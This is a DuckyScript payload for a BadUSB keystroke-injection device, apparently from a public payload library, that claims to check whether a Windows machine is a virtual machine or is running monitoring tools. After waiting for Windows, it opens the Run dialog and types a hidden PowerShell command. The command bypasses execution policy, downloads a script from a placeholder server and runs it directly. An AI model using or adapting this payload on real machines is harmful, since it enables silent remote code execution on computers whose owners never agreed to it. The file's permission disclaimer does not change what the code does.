Path: blob/master/payloads/library/recon/VM-Detection-Report/Payload.txt
3020 views
REM Title: VM-Detection-Report1REM Author: @beigeworm2REM Description: Uses various methods to determine if the machine is a VM or if debugging and system monitoring software is running.3REM Description: Will generate a console readout and verbose text file4REM Target: Windows 1056REM **THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE!**78REM Replace the URL for your own hosted .ps1 raw file.9DEFINE #SCRIPTURL https://yourserver.com/rawfile/VM-Detection-Report.ps11011REM Funtion to detect Windows is ready for keystrokes12EXTENSION PASSIVE_WINDOWS_DETECT13REM VERSION 1.114REM AUTHOR: Korben1516REM CONFIGURATION:17DEFINE #MAX_WAIT 15018DEFINE #CHECK_INTERVAL 2019DEFINE #WINDOWS_HOST_REQUEST_COUNT 220DEFINE #NOT_WINDOWS 72122$_OS = #NOT_WINDOWS2324VAR $MAX_TRIES = #MAX_WAIT25WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))26DELAY #CHECK_INTERVAL27$MAX_TRIES = ($MAX_TRIES - 1)28END_WHILE29IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN30$_OS = WINDOWS31END_IF3233END_EXTENSION3435IF $_OS != WINDOWS36LED_R37STOP_PAYLOAD38END_IF3940REM Main bad-USB script41LED_G42GUI r43DELAY 75044STRINGLN powershell -Ep Bypass -W H -C IRM #SCRIPTURL | iex4546